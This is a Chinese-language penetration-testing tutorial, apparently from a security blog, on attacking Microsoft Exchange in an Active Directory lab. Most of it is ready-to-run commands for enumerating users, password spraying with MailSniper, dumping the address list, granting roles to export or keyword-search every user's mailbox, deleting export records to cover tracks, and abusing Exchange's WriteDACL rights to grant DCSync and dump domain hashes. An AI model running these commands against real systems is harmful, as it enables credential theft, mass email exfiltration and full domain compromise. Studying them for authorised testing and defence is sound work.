由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
exchange识别
发现exchange service机器,识别版本信息
定位exchange机器
SPN
通过查询spn消息主体定位exchange机器
setspn -Q */*
ldap
通过ldap查询exchange机器
# 查询exchange spn
AdFind.exe -h 192.168.10.250 -b "DC=qaq,DC=com" -f "|(ServicePrincipalName=exchange*)(ServicePrincipalName=smtp*)(ServicePrincipalName=imap*)(ServicePrincipalName=pop*)" ServicePrincipalName# 查询Exchange Servers组
AdFind.exe -h 192.168.10.250 -b "DC=qaq,DC=com" -bit -f (memberof:INCHAIN:="CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com") memberof
扫描25,443,465,587,2525端口
smtp、pop3、imap等服务banner信息中具有Microsoft特征
识别exchange版本
Exchange版本确定
在owa界面的HTML代码中会显示Exchange的版本号,可以看到15.0.516为内部版本号
在微软文档上查询对应的版本
https://learn.microsoft.com/zh-cn/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
邮箱爆破
exchange因为官方设计的缘故,无法加验证码进行防爆破,有多个接口可供暴力破解。例如通过OWA、EWS、autodiscover、 Microsoft-Server-ActiveSync等接口进行爆破。除了exchange应用提供的接口外,也可以直接对smtp、pop3、imap等服务进行爆破。但需要注意,域用户通常会有密码锁定策略。
常见的接口地址
https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/
owa:Exchange OWA 接口,邮箱的网页端,用于通过 web 应用程序访问邮件、日历、任务和联系人等。
ecp:Exchange 管理中心,管理员用于管理组织中的Exchange的Web控制台
EWS:Exchange Web Service ,实现客户端与服务端之间基于HTTP的SOAP交互
OAB:用于为 Outlook 客户端提供地址簿的副本,减轻Exchange的负担
Rpc:早期的Outlook还使用称为 Outlook Anywhere 的 RPC 交互
mapi:Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
Autodiscover:自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在 Outlook 中邮箱的相关设置,简化用户登录使用邮箱的流程。
PowerShell:用于服务器管理的 Exchange 管理控制台
Microsoft-Server-ActiveSync:用于移动应用程序访问电子邮件
获取ad域名
smtp服务banner信息
smtp banner 信息会返回机器名
在 Windows 进行 NTLM 认证时,无论输入的凭证是否正确,返回的 ntlmssp 包中都会带上大量系统相关信息:包括 NetBIOS 域名、NetBIOS 机器名、DNS 域名、DNS 机器名等。/Autodiscover、/Rpc、/EWS、/OAB、/Mapi接口支持NTLM认证
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews -p 443 192.168.10.240
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/Autodiscover -p 443 192.168.10.240
暴力枚举
几个爆破exchanger的项目
https://github.com/grayddq/EBurst.git
https://github.com/sensepost/ruler/wiki/Rules
https://github.com/dafthack/MailSniper
枚举用户名
Exchange 存在基于时间的用户名枚举问题,在Exchange 2016版本中,爆破到真实存在的域用户(无论是否开通邮箱账户)时,其响应接收时间会更短。注意需要应为字典设置三种格式:domain\username、username、[email protected],Exchange 管理员可以任意配置使用一种或多种格式,因此爆破的时候最好带上所有格式。
也可以使用 burp 爆破 /ecp、/owa http接口,在爆破结果中根据响应结果进行排序,查看响应时间更短的用户名,即可能是存在的域用户
使用MailSniper枚举
# 使用MailSniper通过owa接口,利用响应时间的差异化获取有效用户名
Invoke-UsernameHarvestOWA -ExchHostname 192.168.10.240 -UserList .\name.txt -Domain qaq.com -Threads 1 -OutFile owa-valid-users.txt
枚举用户名和密码
也可以使用burp爆破/ecp、/owa接口,用户名和密码正确会跳转到/owa/首页
使用MailSniper枚举
# 使用MailSniper对OWA接口进行枚举
Invoke-PasswordSprayOWA -ExchHostname 192.168.10.240 -UserList .\name.txt -Password Aa123456 -Threads 15 -OutFile owa-sprayed-creds.txt -Domain qaq.com -verbose# 使用MailSniper对EWS接口进行枚举
Invoke-PasswordSprayEWS -ExchHostname 192.168.10.240 -UserList .\name.txt -Password Aa123456 -Threads 15 -OutFile owa-sprayed-creds.txt -Domain qaq.com -verbose
# 使用MailSniper对Microsoft-Server-ActiveSync接口进行枚举
Invoke-PasswordSprayEAS -ExchHostname 192.168.10.240 -UserList .\name.txt -Password Aa123456 -Threads 15 -OutFile owa-sprayed-creds.txt -Domain qaq.com -verbose
直接对mail服务进行枚举
使用超级弱口令检查工具/hydra工具 对smtp、pop3、imap等服务进行爆破
信息收集
获得邮箱凭证后,可以导出全局组的邮箱列表,或检索邮件字符搜寻敏感信息。当获得管理员权限凭证后,可以向普通用户分配Mailbox Search角色,检索所有邮箱用户的邮件搜寻敏感数据,也可以分配Mailbox Import Export角色导出邮件到本地存储。
导出全局组
通过OWA接口访问邮箱,导出全局组邮箱列表,收集账户信息
使用MailSniper收集邮箱账户信息
# 使用MailSniper通过owa接口收集exchange服务主机名
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com# 使用MailSniper收集邮箱全局地址
Get-GlobalAddressList -ExchHostname 192.168.10.240 -UserName qaq\test -Password Aa123456 -OutFile gal.txt
# 获取该账户的邮箱目录,-remote是远程输入凭证
Get-MailboxFolders -Mailbox [email protected] -ExchHostname 192.168.10.240 -Remote
使用impacket exchanger收集GAL
使用exchanger脚本通/RPC接口收集gal
python exchanger.py qaq.com/admin:[email protected]192.168.10.240 nspi list-tables -count # 获取公共组
python exchanger.py qaq.com/admin:[email protected]192.168.10.240 nspi dump-tables -guid 5c93804d-0a50-4a9b-9253-6218cff85b9b # 获取指定组的列表
导出邮件
向用户授予Mailbox Import Export角色,使用Exchange Management相关Cmdlet导出邮件。在2013版本中默认Mailbox Import Export角色只授予Organization Management管理组。在其他低版本默认不授予任何用户/组,需要先使用Organization Management管理组的用户授予指定用户导出权限
使用Get-PSSession连接exchange导出邮件
使用Get-PSSession通过powershell接口远程连接管理exchange服务,导出邮件
使用Get-PSSession连接Exchange服务器
# 使用Get-PSSession通过exchange PowerShell接口连接exchange server$User = "qaq\administrator"
$Pass = ConvertTo-SecureString -AsPlainText Aa123456 -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://test1-2008.qaq.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
Get-Mailbox # 查看MailBox数据库
Get-PSSession # 查看PSsession
Remove-PSSession $Session # 断开PSSession
添加用户导出权限
# 授予Administrator用户Import Export角色
New-ManagementRoleAssignment -Name "xx" -User "Administrator" -Role "Mailbox Import Export"# 查看具有Import Export角色的用户
Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
# 取消administrator用户的分配的角色
Remove-ManagementRoleAssignment -Identity "xx" -Confirm:$false
导出邮件
注意授予导出角色后需要重新启动Powershell否则无法使用New-MailboxexportRequest命令
# 导出指定用户的邮件到unc路径。pst格式的文件使用Outlook打开
New-MailboxExportRequest -Mailbox administrator -FilePath \\localhost\c$\administrator.pst -CompletedRequestAgeLimit 0# 筛选指定用户邮件正文包含pass字符并导出
New-MailboxexportRequest -mailbox administrator -ContentFilter {(body -like "*pass*")} -FilePath \\localhost\c$\administrator.pst -CompletedRequestAgeLimit 0
# 导出所有用户邮件
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -Mailbox $_.name -CompletedRequestAgeLimit 0 -FilePath ("\\localhost\c$\"+($_.name)+".pst")}
# 筛选所有用户邮件正文包含pass字符并导出
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -Mailbox $_.name -CompletedRequestAgeLimit 0 -ContentFilter {(body -like "*pass*")} -FilePath ("\\localhost\c$\"+($_.name)+".pst")}
导出成功后会自动保存导出请求的记录
# 查看邮件导出记录,导出后会自动保存导出请求的记录,默认为30天。加-CompletedRequestAgeLimit 0参数不会保存导出记录
Get-MailboxExportRequest# 删除所有导出记录
Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest
Exchange服务器管理导出邮件
登录exchange服务器,使用Exchange Management管理单元操作exchange服务并导出邮件
1.将exchangepowershell管理单元添加到当前会话窗口
注意不同Exchange版本对应的管理单元名称不同
# Exchange 2007
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
# Exchange 2010
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
# Exchange 2013 & 2016
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
# 添加所有以microsoft.exchange为前缀的管理单元
Add-pssnapin microsoft.exchange*
2.导出邮件
exchange机器默认拥有导出权限,所以不需要重新授予导出权限
New-MailboxExportRequest -Mailbox administrator -FilePath \\localhost\c$\administrator.pst -CompletedRequestAgeLimit 0
ExchangePowerShell的其他基本操作
Add-pssnapin microsoft.exchange* # 添加管理单元Get-Mailbox -ResultSize unlimited # 查看所有用户邮箱地址
Get-MailboxDatabase -server "test1-2008" # 查看MailBox数据库
Get-Mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime # 查看指定用户邮箱使用信息
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize # 查看全部用户邮箱使用信息
# 查看已添加到当前会话的管理单元
get-pssnapin
# 获取已在系统上注册的管理单元
Get-PSSnapin -Registered
# 添加所有已注册的管理单元
Get-PSSnapin -Registered | Add-PSSnapin -Passthru
自动化利用
https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToExportMailfromExchange.ps1
UsePSSessionToExportMailfromExchange -User "qaq\administrator" -Password "Aa123456" -MailBox "administrator" -ExportPath "\\localhost\c$\" -ConnectionUri "http://test1-2008.qaq.com/PowerShell/" -Filter "{`"(body -like `"*pass*`")`"}"
检索邮件内容
ews接口
通过调用ews接口操纵exchange,搜寻邮件中的敏感信息
使用MailSniper调用EWS接口,检索本地邮件中的字符
检索指定邮箱数据,需要输入指定邮箱的凭证
Invoke-SelfSearch常用的检索参数:
ExchHostname:exchange服务地址
Mailbox:检索的邮箱
Terms:检索的字符串。默认会检索邮件全部内容,包括正文和title
Regex:使用正则表达式进行检索
Folder:检索的邮件目录。默认是inbox,也可以是all所有目录
ExchangeVersion:指定exchange版本,默认2010
MailsPerUser:默认检索最新的100封邮件内容
Remote:弹出新的凭据框,用于从internet访问远程EWS服务
CheckAttachments:尝试搜索电子邮件附件的内容。默认搜索以下扩展名:.bat、.htm、.msg、.pdf、.txt、.ps1、.doc和.xls。通过指定-DownloadDir参数下载这些附件
DownloadDir:指定下载目录
UsePrt:使用当前用户的PRT进行身份验证
AccessToken:使用提供的oauth访问令牌进行身份验证
# 检索指定邮箱账号的数据。检索邮件的pass字符
Invoke-SelfSearch -Mailbox [email protected] -Terms "*pass*" -Folder 收件箱 -ExchHostname 192.168.10.240 -MailsPerUser 100 -Remote -OutputCsv 11.csv
使用MailSniper调用EWS接口,检索所有邮件中的字符
使用exchange管理员向普通用户分配ApplicationImpersonation角色,检索所有邮箱用户的邮件。需要输入管理员的凭证
Invoke-GlobalMailSearch常用的检索参数:
ImpersonationAccount:授予ApplicationImpersonation角色
AdminUserName:exchange管理员
# 检索所有邮箱数据
# 利用administrator管理员用户为普通用户admin分配ApplicationImpersonation角色,检索所有邮箱用户的邮件
Invoke-GlobalMailSearch -ImpersonationAccount admin -ExchHostname test1-2008 -AdminUserName qaq.com\administrator -AdminPassword Aa123456 -Term "*pass*" -Folder all -OutputCsv global-email-search.csv
powershell接口
使用Get-PSSession连接Exchange服务器
# 使用Get-PSSession通过exchange PowerShell接口连接exchange server$User = "qaq\administrator"
$Pass = ConvertTo-SecureString -AsPlainText Aa123456 -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://test1-2008.qaq.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
添加搜索角色
使用Exchange Management管理单元,添加用户Mailbox Search角色
New-ManagementRoleAssignment –Role "Mailbox Search" –User administrator # 授予administrator用户搜索角色
搜索邮件
# 搜索所有包含单词pass的邮件并保存到用户admin的out文件夹
Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -TargetMailbox "admin" -TargetFolder "out" -LogLevel Suppress| Out-Null# 搜索administrator用户中包含单词pass的邮件并保存到用户admin的out文件夹
Search-Mailbox -Identity "administrator" -SearchQuery `"*pass*`" -TargetMailbox "admin" -TargetFolder "out" -LogLevel Suppress| Out-Null
# 搜索所有邮箱用户,显示包含关键词pass的邮件的数量
Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -EstimateResultOnly
# 搜索邮箱用户test,显示包含关键词pass的邮件的数量
Search-Mailbox -Identity administrator -SearchQuery `"*pass*`" -EstimateResultOnly
自动化利用
https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToSearchMailfromExchange.ps1
# 搜素所有用户邮件pass字符,并保存在admin用户邮箱test2目录
UsePSSessionToSearchMailfromExchange -User "qaq\administrator" -Password "Aa123456" -MailBox "All" -ConnectionUri "http://test1-2008.qaq.com/PowerShell/" -Filter "*pass*" -TargetMailbox "admin" -TargetFolder "test2"# 搜素test用户邮件pass字符,并保存在admin用户邮箱test3目录
UsePSSessionToSearchMailfromExchange -User "qaq\administrator" -Password "Aa123456" -MailBox "test" -ConnectionUri "http://test1-2008.qaq.com/PowerShell/" -Filter "*pass*" -TargetMailbox "admin" -TargetFolder "test3"
exchange日志
在获取exchange机器权限后,可以导出exchange接口的访问日志,定位域用户与IP的关系
IIS访问日志
默认位置
C:\inetpub\logs\LogFiles\W3SVC1(W3SVC2)
记录IIS 接口的访问日志
RPC日志
默认位置
C:\Program Files\Microsoft\Exchange Server\V15\Logging\RPC Client Access
MAPI连接记录在rpc日志,其他接口访问记录在IIS日志。outlook默认是MAPI连接
WriteDACL
exchange机器账户对域对象具有WriteDACL权限。exchange机器账户是Exchange Trusted Subsystem对象成员,Exchange Trusted Subsystem是Exchange Windows Permission对象成员,Exchange Windows Permission对象对域对象具有WriteDACL权限
可以配合Print bug或Petitpotam漏洞强制exchange机器发起NTLM请求并relay到LDAP为指定用户授予dcsync ace条目,见 4.1.1 relay exchange。当获得exchange机器权限时,同样也可以使用机器的system权限(机器账号)手动授予指定用户dscync条目
使用powerview 授予用户Dscync权限
# 授予dcsync条目
powershell -exec bypass Import-Module .\powerview.ps1;"Add-DomainObjectAcl -TargetIdentity 'DC=qaq,DC=com' -PrincipalIde test4 -Rights DCSync -Verbose"# 移除指定用户的DCSync条目
powershell -exec bypass Import-Module .\powerview.ps1;"Remove-DomainObjectAcl -TargetIdentity 'DC=qaq,DC=com' -PrincipalIde test4 -Rights DCSync -Verbose"
使用提权的用户进行dcysnc:
python secretsdump.py qaq/test4:[email protected]192.168.10.250 -dc-ip 192.168.10.250 -just-dc
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们